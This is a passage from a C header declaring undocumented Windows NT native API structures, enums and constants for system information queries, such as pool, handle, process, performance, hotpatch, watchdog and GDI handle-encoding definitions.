SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; typedef struct _SYSTEM_POOL_INFORMATION { SIZE_T TotalSize; PVOID FirstEntry; USHORT EntryOverhead; BOOLEAN PoolTagPresent; BOOLEAN Spare0; ULONG NumberOfEntries; SYSTEM_POOL_ENTRY Entries[1]; } SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; typedef struct _SYSTEM_POOLTAG { union { UCHAR Tag[4]; ULONG TagUlong; }; ULONG PagedAllocs; ULONG PagedFrees; SIZE_T PagedUsed; ULONG NonPagedAllocs; ULONG NonPagedFrees; SIZE_T NonPagedUsed; } SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; typedef struct _SYSTEM_BIGPOOL_ENTRY { union { PVOID VirtualAddress; ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. }; SIZE_T SizeInBytes; union { UCHAR Tag[4]; ULONG TagUlong; }; } SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; typedef struct _SYSTEM_POOLTAG_INFORMATION { ULONG Count; SYSTEM_POOLTAG TagInfo[ 1 ]; } SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { SIZE_T NextEntryOffset; ULONG SessionId; ULONG Count; SYSTEM_POOLTAG TagInfo[ 1 ]; } SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; typedef struct _SYSTEM_BIGPOOL_INFORMATION { ULONG Count; SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; } SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG UniqueProcessId; ULONG HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG NumberOfHandles; ULONG Reserved; struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION { ULONG PoolTag; ULONG Flags; } SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; typedef struct _SYSTEM_OBJECTTYPE_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfObjects; ULONG NumberOfHandles; ULONG TypeIndex; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; ULONG PoolType; UCHAR SecurityRequired; UCHAR WaitableObject; UNICODE_STRING TypeName; } SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; typedef struct _SYSTEM_HIBERFILE_INFORMATION { ULONG NumberOfMcbPairs; LARGE_INTEGER Mcb[ 1 ]; } SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN KernelDebuggerEnabled; BOOLEAN KernelDebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { ULONG RegistryQuotaAllowed; ULONG RegistryQuotaUsed; SIZE_T PagedPoolSize; } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { ULONG ContextSwitches; ULONG FindAny; ULONG FindLast; ULONG FindIdeal; ULONG IdleAny; ULONG IdleCurrent; ULONG IdleLast; ULONG IdleIdeal; ULONG PreemptAny; ULONG PreemptCurrent; ULONG PreemptLast; ULONG SwitchToIdle; } SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { SIZE_T NextEntryOffset; ULONG SessionId; ULONG ViewFailures; SIZE_T NumberOfBytesAvailable; SIZE_T NumberOfBytesAvailableContiguous; } SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; typedef struct _SYSTEM_INTERRUPT_INFORMATION { ULONG ContextSwitches; ULONG DpcCount; ULONG DpcRate; ULONG TimeIncrement; ULONG DpcBypassCount; ULONG ApcBypassCount; } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { ULONG Spare; ULONG DpcQueueDepth; ULONG MinimumDpcRate; ULONG AdjustDpcThreshold; ULONG IdealDpcRate; } SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; typedef struct _SYSTEM_LOOKASIDE_INFORMATION { USHORT CurrentDepth; USHORT MaximumDepth; ULONG TotalAllocates; ULONG AllocateMisses; ULONG TotalFrees; ULONG FreeMisses; ULONG Type; ULONG Tag; ULONG Size; } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { ULONG VetoType; UNICODE_STRING VetoList; } SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; typedef struct _SYSTEM_VDM_INSTEMUL_INFO { ULONG SegmentNotPresent; ULONG VdmOpcode0F; ULONG OpcodeESPrefix; ULONG OpcodeCSPrefix; ULONG OpcodeSSPrefix; ULONG OpcodeDSPrefix; ULONG OpcodeFSPrefix; ULONG OpcodeGSPrefix; ULONG OpcodeOPER32Prefix; ULONG OpcodeADDR32Prefix; ULONG OpcodeINSB; ULONG OpcodeINSW; ULONG OpcodeOUTSB; ULONG OpcodeOUTSW; ULONG OpcodePUSHF; ULONG OpcodePOPF; ULONG OpcodeINTnn; ULONG OpcodeINTO; ULONG OpcodeIRET; ULONG OpcodeINBimm; ULONG OpcodeINWimm; ULONG OpcodeOUTBimm; ULONG OpcodeOUTWimm; ULONG OpcodeINB; ULONG OpcodeINW; ULONG OpcodeOUTB; ULONG OpcodeOUTW; ULONG OpcodeLOCKPrefix; ULONG OpcodeREPNEPrefix; ULONG OpcodeREPPrefix; ULONG OpcodeHLT; ULONG OpcodeCLI; ULONG OpcodeSTI; ULONG BopCount; } SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { LARGE_INTEGER BootTime; LARGE_INTEGER CurrentTime; LARGE_INTEGER TimeZoneBias; ULONG TimeZoneId; ULONG Reserved; ULONGLONG BootTimeBias; ULONGLONG SleepTimeBias; } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; #if defined(_M_X64) typedef ULONG SYSINF_PAGE_COUNT; #else typedef SIZE_T SYSINF_PAGE_COUNT; #endif typedef struct _SYSTEM_BASIC_INFORMATION { ULONG Reserved; ULONG TimerResolution; ULONG PageSize; SYSINF_PAGE_COUNT NumberOfPhysicalPages; SYSINF_PAGE_COUNT LowestPhysicalPageNumber; SYSINF_PAGE_COUNT HighestPhysicalPageNumber; ULONG AllocationGranularity; ULONG_PTR MinimumUserModeAddress; ULONG_PTR MaximumUserModeAddress; ULONG_PTR ActiveProcessorsAffinityMask; CCHAR NumberOfProcessors; } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; typedef struct _SYSTEM_PROCESSOR_INFORMATION { USHORT ProcessorArchitecture; USHORT ProcessorLevel; USHORT ProcessorRevision; USHORT Reserved; ULONG ProcessorFeatureBits; } SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; // Checked Build LARGE_INTEGER InterruptTime; // Checked Build ULONG InterruptCount; } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { ULONGLONG IdleTime; ULONGLONG C1Time; ULONGLONG C2Time; ULONGLONG C3Time; ULONG C1Transitions; ULONG C2Transitions; ULONG C3Transitions; ULONG Padding; } SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; typedef struct _SYSTEM_NUMA_INFORMATION { ULONG HighestNodeNumber; ULONG Reserved; union { ULONG64 ActiveProcessorsAffinityMask[ 16 ]; ULONG64 AvailableMemory[ 16 ]; }; } SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; #if !defined(_WINNT_) typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP { RelationProcessorCore, RelationNumaNode, RelationCache, RelationProcessorPackage } LOGICAL_PROCESSOR_RELATIONSHIP; typedef enum _PROCESSOR_CACHE_TYPE { CacheUnified, CacheInstruction, CacheData, CacheTrace } PROCESSOR_CACHE_TYPE; #define CACHE_FULLY_ASSOCIATIVE 0xFF typedef struct _CACHE_DESCRIPTOR { BYTE Level; BYTE Associativity; WORD LineSize; DWORD Size; PROCESSOR_CACHE_TYPE Type; } CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { ULONG_PTR ProcessorMask; LOGICAL_PROCESSOR_RELATIONSHIP Relationship; union { struct { BYTE Flags; } ProcessorCore; struct { DWORD NodeNumber; } NumaNode; CACHE_DESCRIPTOR Cache; ULONGLONG Reserved[2]; }; } SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; #define PROCESSOR_INTEL_386 386 #define PROCESSOR_INTEL_486 486 #define PROCESSOR_INTEL_PENTIUM 586 #define PROCESSOR_INTEL_IA64 2200 #define PROCESSOR_AMD_X8664 8664 #define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE #define PROCESSOR_ALPHA_21064 21064 #define PROCESSOR_PPC_601 601 #define PROCESSOR_PPC_603 603 #define PROCESSOR_PPC_604 604 #define PROCESSOR_PPC_620 620 #define PROCESSOR_HITACHI_SH3 10003 // Windows CE #define PROCESSOR_HITACHI_SH3E 10004 // Windows CE #define PROCESSOR_HITACHI_SH4 10005 // Windows CE #define PROCESSOR_MOTOROLA_821 821 // Windows CE #define PROCESSOR_SHx_SH3 103 // Windows CE #define PROCESSOR_SHx_SH4 104 // Windows CE #define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 #define PROCESSOR_ARM720 1824 // Windows CE - 0x720 #define PROCESSOR_ARM820 2080 // Windows CE - 0x820 #define PROCESSOR_ARM920 2336 // Windows CE - 0x920 #define PROCESSOR_ARM_7TDMI 70001 // Windows CE #define PROCESSOR_OPTIL 0x494f // MSIL #define PROCESSOR_ARCHITECTURE_INTEL 0 #define PROCESSOR_ARCHITECTURE_MIPS 1 #define PROCESSOR_ARCHITECTURE_ALPHA 2 #define PROCESSOR_ARCHITECTURE_PPC 3 #define PROCESSOR_ARCHITECTURE_SHX 4 #define PROCESSOR_ARCHITECTURE_ARM 5 #define PROCESSOR_ARCHITECTURE_IA64 6 #define PROCESSOR_ARCHITECTURE_ALPHA64 7 #define PROCESSOR_ARCHITECTURE_MSIL 8 #define PROCESSOR_ARCHITECTURE_AMD64 9 #define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 #define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF #define PF_FLOATING_POINT_PRECISION_ERRATA 0 #define PF_FLOATING_POINT_EMULATED 1 #define PF_COMPARE_EXCHANGE_DOUBLE 2 #define PF_MMX_INSTRUCTIONS_AVAILABLE 3 #define PF_PPC_MOVEMEM_64BIT_OK 4 #define PF_ALPHA_BYTE_INSTRUCTIONS 5 #define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 #define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 #define PF_RDTSC_INSTRUCTION_AVAILABLE 8 #define PF_PAE_ENABLED 9 #define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 #define PF_SSE_DAZ_MODE_AVAILABLE 11 #define PF_NX_ENABLED 12 #define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 #define PF_COMPARE_EXCHANGE128 14 #define PF_COMPARE64_EXCHANGE128 15 #define PF_CHANNELS_ENABLED 16 typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; #endif /*_WINNT_*/ typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { UCHAR CurrentFrequency; UCHAR ThermalLimitFrequency; UCHAR ConstantThrottleFrequency; UCHAR DegradedThrottleFrequency; UCHAR LastBusyFrequency; UCHAR LastC3Frequency; UCHAR LastAdjustedBusyFrequency; UCHAR ProcessorMinThrottle; UCHAR ProcessorMaxThrottle; ULONG NumberOfFrequencies; ULONG PromotionCount; ULONG DemotionCount; ULONG ErrorCount; ULONG RetryCount; ULONG64 CurrentFrequencyTime; ULONG64 CurrentProcessorTime; ULONG64 CurrentProcessorIdleTime; ULONG64 LastProcessorTime; ULONG64 LastProcessorIdleTime; } SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; ULONG TimeIncrement; BOOLEAN Enable; } SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; BOOLEAN Enable; } SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; typedef struct _SYSTEM_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleProcessTime; LARGE_INTEGER IoReadTransferCount; LARGE_INTEGER IoWriteTransferCount; LARGE_INTEGER IoOtherTransferCount; ULONG IoReadOperationCount; ULONG IoWriteOperationCount; ULONG IoOtherOperationCount; ULONG AvailablePages; SYSINF_PAGE_COUNT CommittedPages; SYSINF_PAGE_COUNT CommitLimit; SYSINF_PAGE_COUNT PeakCommitment; ULONG PageFaultCount; ULONG CopyOnWriteCount; ULONG TransitionCount; ULONG CacheTransitionCount; ULONG DemandZeroCount; ULONG PageReadCount; ULONG PageReadIoCount; ULONG CacheReadCount; ULONG CacheIoCount; ULONG DirtyPagesWriteCount; ULONG DirtyWriteIoCount; ULONG MappedPagesWriteCount; ULONG MappedWriteIoCount; ULONG PagedPoolPages; ULONG NonPagedPoolPages; ULONG PagedPoolAllocs; ULONG PagedPoolFrees; ULONG NonPagedPoolAllocs; ULONG NonPagedPoolFrees; ULONG FreeSystemPtes; ULONG ResidentSystemCodePage; ULONG TotalSystemDriverPages; ULONG TotalSystemCodePages; ULONG NonPagedPoolLookasideHits; ULONG PagedPoolLookasideHits; ULONG AvailablePagedPoolPages; ULONG ResidentSystemCachePage; ULONG ResidentPagedPoolPage; ULONG ResidentSystemDriverPage; ULONG CcFastReadNoWait; ULONG CcFastReadWait; ULONG CcFastReadResourceMiss; ULONG CcFastReadNotPossible; ULONG CcFastMdlReadNoWait; ULONG CcFastMdlReadWait; ULONG CcFastMdlReadResourceMiss; ULONG CcFastMdlReadNotPossible; ULONG CcMapDataNoWait; ULONG CcMapDataWait; ULONG CcMapDataNoWaitMiss; ULONG CcMapDataWaitMiss; ULONG CcPinMappedDataCount; ULONG CcPinReadNoWait; ULONG CcPinReadWait; ULONG CcPinReadNoWaitMiss; ULONG CcPinReadWaitMiss; ULONG CcCopyReadNoWait; ULONG CcCopyReadWait; ULONG CcCopyReadNoWaitMiss; ULONG CcCopyReadWaitMiss; ULONG CcMdlReadNoWait; ULONG CcMdlReadWait; ULONG CcMdlReadNoWaitMiss; ULONG CcMdlReadWaitMiss; ULONG CcReadAheadIos; ULONG CcLazyWriteIos; ULONG CcLazyWritePages; ULONG CcDataFlushes; ULONG CcDataPages; ULONG ContextSwitches; ULONG FirstLevelTbFills; ULONG SecondLevelTbFills; ULONG SystemCalls; } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR PageDirectoryBase; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { ULONG SessionId; ULONG SizeOfBuf; PVOID Buffer; } SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; typedef struct _SYSTEM_MEMORY_INFO { PUCHAR StringOffset; USHORT ValidCount; USHORT TransitionCount; USHORT ModifiedCount; USHORT PageTableCount; } SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; typedef struct _SYSTEM_MEMORY_INFORMATION { ULONG InfoSize; ULONG_PTR StringStart; SYSTEM_MEMORY_INFO Memory[ 1 ]; } SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; typedef struct _SYSTEM_CALL_COUNT_INFORMATION { ULONG Length; ULONG NumberOfTables; } SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; typedef struct _SYSTEM_DEVICE_INFORMATION { ULONG NumberOfDisks; ULONG NumberOfFloppies; ULONG NumberOfCdRoms; ULONG NumberOfTapes; ULONG NumberOfSerialPorts; ULONG NumberOfParallelPorts; } SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; typedef struct _SYSTEM_FLAGS_INFORMATION { ULONG Flags; } SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; typedef struct _SYSTEM_CALL_TIME_INFORMATION { ULONG Length; ULONG TotalCalls; LARGE_INTEGER TimeOfCalls[1]; } SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; typedef struct _SYSTEM_OBJECT_INFORMATION { ULONG NextEntryOffset; PVOID Object; HANDLE CreatorUniqueProcess; USHORT CreatorBackTraceIndex; USHORT Flags; LONG PointerCount; LONG HandleCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; HANDLE ExclusiveProcessId; PVOID SecurityDescriptor; OBJECT_NAME_INFORMATION NameInfo; } SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; typedef struct _SYSTEM_PAGEFILE_INFORMATION { ULONG NextEntryOffset; ULONG TotalSize; ULONG TotalInUse; ULONG PeakUsage; UNICODE_STRING PageFileName; } SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; typedef struct _SYSTEM_VERIFIER_INFORMATION { ULONG NextEntryOffset; ULONG Level; UNICODE_STRING DriverName; ULONG RaiseIrqls; ULONG AcquireSpinLocks; ULONG SynchronizeExecutions; ULONG AllocationsAttempted; ULONG AllocationsSucceeded; ULONG AllocationsSucceededSpecialPool; ULONG AllocationsWithNoTag; ULONG TrimRequests; ULONG Trims; ULONG AllocationsFailed; ULONG AllocationsFailedDeliberately; ULONG Loads; ULONG Unloads; ULONG UnTrackedPool; ULONG CurrentPagedPoolAllocations; ULONG CurrentNonPagedPoolAllocations; ULONG PeakPagedPoolAllocations; ULONG PeakNonPagedPoolAllocations; SIZE_T PagedPoolUsageInBytes; SIZE_T NonPagedPoolUsageInBytes; SIZE_T PeakPagedPoolUsageInBytes; SIZE_T PeakNonPagedPoolUsageInBytes; } SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; typedef struct _SYSTEM_VERIFIER_INFORMATION_EX { ULONG VerifyMode; ULONG OptionChanges; UNICODE_STRING PreviousBucketName; ULONG Reserved[ 4 ]; } SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; #define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 #define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 #define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 #define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 typedef struct _SYSTEM_FILECACHE_INFORMATION { SIZE_T CurrentSize; SIZE_T PeakSize; ULONG PageFaultCount; SIZE_T MinimumWorkingSet; SIZE_T MaximumWorkingSet; SIZE_T CurrentSizeIncludingTransitionInPages; SIZE_T PeakSizeIncludingTransitionInPages; ULONG TransitionRePurposeCount; ULONG Flags; } SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; #define FLG_HOTPATCH_KERNEL 0x80000000 #define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 #define FLG_HOTPATCH_NAME_INFO 0x20000000 #define FLG_HOTPATCH_RENAME_INFO 0x10000000 #define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 #define FLG_HOTPATCH_WOW64 0x04000000 #define FLG_HOTPATCH_ACTIVE 0x00000001 #define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE #define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 typedef struct _HOTPATCH_HOOK_DESCRIPTOR { ULONG_PTR TargetAddress; PVOID MappedAddress; ULONG CodeOffset; ULONG CodeSize; ULONG OrigCodeOffset; ULONG ValidationOffset; ULONG ValidationSize; } HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { ULONG Flags; ULONG InfoSize; union { struct { ULONG DescriptorsCount; HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure } CodeInfo; struct { USHORT NameOffset; USHORT NameLength; } KernelInfo; struct { USHORT NameOffset; USHORT NameLength; USHORT TargetNameOffset; USHORT TargetNameLength; } UserModeInfo; struct { HANDLE FileHandle1; PIO_STATUS_BLOCK IoStatusBlock1; PFILE_RENAME_INFORMATION RenameInformation1; ULONG RenameInformationLength1; HANDLE FileHandle2; PIO_STATUS_BLOCK IoStatusBlock2; PFILE_RENAME_INFORMATION RenameInformation2; ULONG RenameInformationLength2; } RenameInfo; struct { HANDLE ParentDirectory; HANDLE ObjectHandle1; HANDLE ObjectHandle2; } AtomicSwap; }; } SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; typedef struct _KERNEL_USER_TIMES { LARGE_INTEGER CreateTime; LARGE_INTEGER ExitTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; } KERNEL_USER_TIMES; typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; typedef enum _WATCHDOG_HANDLER_ACTION { WdActionSetTimeoutValue, WdActionQueryTimeoutValue, WdActionResetTimer, WdActionStopTimer, WdActionStartTimer, WdActionSetTriggerAction, WdActionQueryTriggerAction, WdActionQueryState, WdActionSleep, WdActionWake } WATCHDOG_HANDLER_ACTION; typedef enum _WATCHDOG_INFORMATION_CLASS { WdInfoTimeoutValue, WdInfoResetTimer, WdInfoStopTimer, WdInfoStartTimer, WdInfoTriggerAction, WdInfoState } WATCHDOG_INFORMATION_CLASS; typedef NTSTATUS (*PWD_HANDLER)( IN WATCHDOG_HANDLER_ACTION Action, IN PVOID Context, _Inout_ PULONG DataValue, IN BOOLEAN NoLocks ); typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { PWD_HANDLER WdHandler; PVOID Context; } SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; #define WDSTATE_FIRED 0x00000001 #define WDSTATE_HARDWARE_ENABLED 0x00000002 #define WDSTATE_STARTED 0x00000004 #define WDSTATE_HARDWARE_PRESENT 0x00000008 typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { WATCHDOG_INFORMATION_CLASS WdInfoClass; ULONG DataValue; } SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; #define GDI_MAX_HANDLE_COUNT 0x4000 #define GDI_HANDLE_INDEX_SHIFT 0 #define GDI_HANDLE_INDEX_BITS 16 #define GDI_HANDLE_INDEX_MASK 0xffff #define GDI_HANDLE_TYPE_SHIFT 16 #define GDI_HANDLE_TYPE_BITS 5 #define GDI_HANDLE_TYPE_MASK 0x1f #define GDI_HANDLE_ALTTYPE_SHIFT 21 #define GDI_HANDLE_ALTTYPE_BITS 2 #define GDI_HANDLE_ALTTYPE_MASK 0x3 #define GDI_HANDLE_STOCK_SHIFT 23 #define GDI_HANDLE_STOCK_BITS 1 #define GDI_HANDLE_STOCK_MASK 0x1 #define GDI_HANDLE_UNIQUE_SHIFT 24 #define GDI_HANDLE_UNIQUE_BITS 8 #define GDI_HANDLE_UNIQUE_MASK 0xff #define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) #define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) #define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) #define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) #define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) // GDI server-side types #define GDI_DEF_TYPE 0 #define GDI_DC_TYPE 1 #define GDI_DD_DIRECTDRAW_TYPE 2 #define GDI_DD_SURFACE_TYPE 3 #define GDI_RGN_TYPE 4 #define GDI_SURF_TYPE 5 #define GDI_CLIENTOBJ_TYPE 6 #define GDI_PATH_TYPE 7 #define GDI_PAL_TYPE 8 #define GDI_ICMLCS_TYPE 9 #define GDI_LFONT_TYPE 10 #define GDI_RFONT_TYPE 11 #define GDI_PFE_TYPE 12 #define GDI_PFT_TYPE 13 #define GDI_ICMCXF_TYPE 14 #define GDI_ICMDLL_TYPE 15 #define GDI_BRUSH_TYPE 16 #define GDI_PFF_TYPE 17 // unused #define GDI_CACHE_TYPE 18 // unused #define GDI_SPACE_TYPE 19 #define GDI_DBRUSH_TYPE 20 // unused #define GDI_META_TYPE 21 #define GDI_EFSTATE_TYPE 22 #define GDI_BMFD_TYPE 23 // unused #define GDI_VTFD_TYPE 24 // unused #define GDI_TTFD_TYPE 25 // unused #define GDI_RC_TYPE 26 // unused #define GDI_TEMP_TYPE 27 // unused #define GDI_DRVOBJ_TYPE 28 #define GDI_DCIOBJ_TYPE 29 // unused #define GDI_SPOOL_TYPE 30 // GDI client-side types #define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) #define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) #define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_ALTTYPE_2 (2 << 